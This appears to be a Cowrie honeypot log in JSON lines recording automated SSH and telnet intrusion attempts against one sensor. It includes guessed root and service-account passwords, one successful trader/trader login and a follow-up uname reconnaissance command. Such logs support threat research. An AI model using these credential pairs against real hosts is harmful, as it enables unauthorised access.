{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:28.391523Z","src_ip":"47.86.95.62","session":"33d24fbc67f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:29.029560Z","src_ip":"47.86.95.62","session":"33d24fbc67f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:30.243696Z","src_ip":"47.86.95.62","session":"33d24fbc67f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:31.621339Z","src_ip":"8.218.166.49","session":"743c8368c345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60200,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fc677f07b60","protocol":"ssh","message":"New connection: 8.218.166.49:60200 (10.17.0.5:22) [session: 9fc677f07b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:41.092916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:41.097895Z","src_ip":"8.218.166.49","session":"9fc677f07b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":56568,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e846dc2e582","protocol":"ssh","message":"New connection: 47.86.95.62:56568 (10.17.0.5:22) [session: 1e846dc2e582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:43.752404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:44.676204Z","src_ip":"47.86.95.62","session":"1e846dc2e582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:44.681693Z","src_ip":"47.86.95.62","session":"1e846dc2e582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:47.366925Z","src_ip":"47.86.95.62","session":"1e846dc2e582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:48.994519Z","src_ip":"47.86.95.62","session":"1e846dc2e582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37162,"dst_ip":"10.17.0.5","dst_port":22,"session":"32a48617ae70","protocol":"ssh","message":"New connection: 47.86.95.62:37162 (10.17.0.5:22) [session: 32a48617ae70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:57.328644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:57.333889Z","src_ip":"47.86.95.62","session":"32a48617ae70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:57.535433Z","src_ip":"47.86.95.62","session":"32a48617ae70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:58.171029Z","src_ip":"47.86.95.62","session":"32a48617ae70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:58:59.375793Z","src_ip":"47.86.95.62","session":"32a48617ae70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:03.468090Z","src_ip":"8.218.166.49","session":"9fc677f07b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.203.89","src_port":48056,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b9ffd49619","protocol":"telnet","message":"New connection: 103.215.203.89:48056 (10.17.0.5:23) [session: b7b9ffd49619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:09.559854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:10.125959Z","src_ip":"8.218.166.49","session":"03d64551e6b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:10.130170Z","src_ip":"8.218.166.49","session":"03d64551e6b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33282,"dst_ip":"10.17.0.5","dst_port":22,"session":"34a6f4c6d2fc","protocol":"ssh","message":"New connection: 47.86.95.62:33282 (10.17.0.5:22) [session: 34a6f4c6d2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:19.326502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:20.385792Z","src_ip":"47.86.95.62","session":"34a6f4c6d2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:21.721673Z","src_ip":"47.86.95.62","session":"34a6f4c6d2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:22.382096Z","src_ip":"8.218.166.49","session":"9fc677f07b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:22.409680Z","src_ip":"8.218.166.49","session":"8ba010322308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.211.84.221","src_port":1370,"dst_ip":"159.203.135.109","dst_port":23,"session":"faea42ccb2b8","protocol":"telnet","message":"New connection: 92.211.84.221:1370 (159.203.135.109:23) [session: faea42ccb2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:23.076817Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.211.84.221","src_port":13377,"dst_ip":"159.203.135.109","dst_port":23,"session":"040883965cb9","protocol":"telnet","message":"New connection: 92.211.84.221:13377 (159.203.135.109:23) [session: 040883965cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:23.205474Z"}
{"eventid":"cowrie.session.closed","duration":13.714765548706055,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:23.274487Z","src_ip":"103.215.203.89","session":"b7b9ffd49619","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:23.810554Z","src_ip":"47.86.95.62","session":"34a6f4c6d2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"45.3","message":"Connection lost after 45.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:26.392952Z","src_ip":"8.218.166.49","session":"9fc677f07b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:27.108610Z","src_ip":"8.218.166.49","session":"03d64551e6b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:29.808715Z","src_ip":"47.86.95.62","session":"34a6f4c6d2fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:29.812305Z","src_ip":"47.86.95.62","session":"34a6f4c6d2fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:30.527678Z","src_ip":"47.86.95.62","session":"34a6f4c6d2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:30.532762Z","src_ip":"47.86.95.62","session":"34a6f4c6d2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:30.599761Z","src_ip":"8.218.166.49","session":"9f2f00252d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49484,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb90e5454776","protocol":"ssh","message":"New connection: 47.86.95.62:49484 (10.17.0.5:22) [session: eb90e5454776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:33.282328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:33.287015Z","src_ip":"47.86.95.62","session":"eb90e5454776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:59:33.623872Z","src_ip":"47.86.95.62","session":"eb90e5454776","protocol":"ssh"}
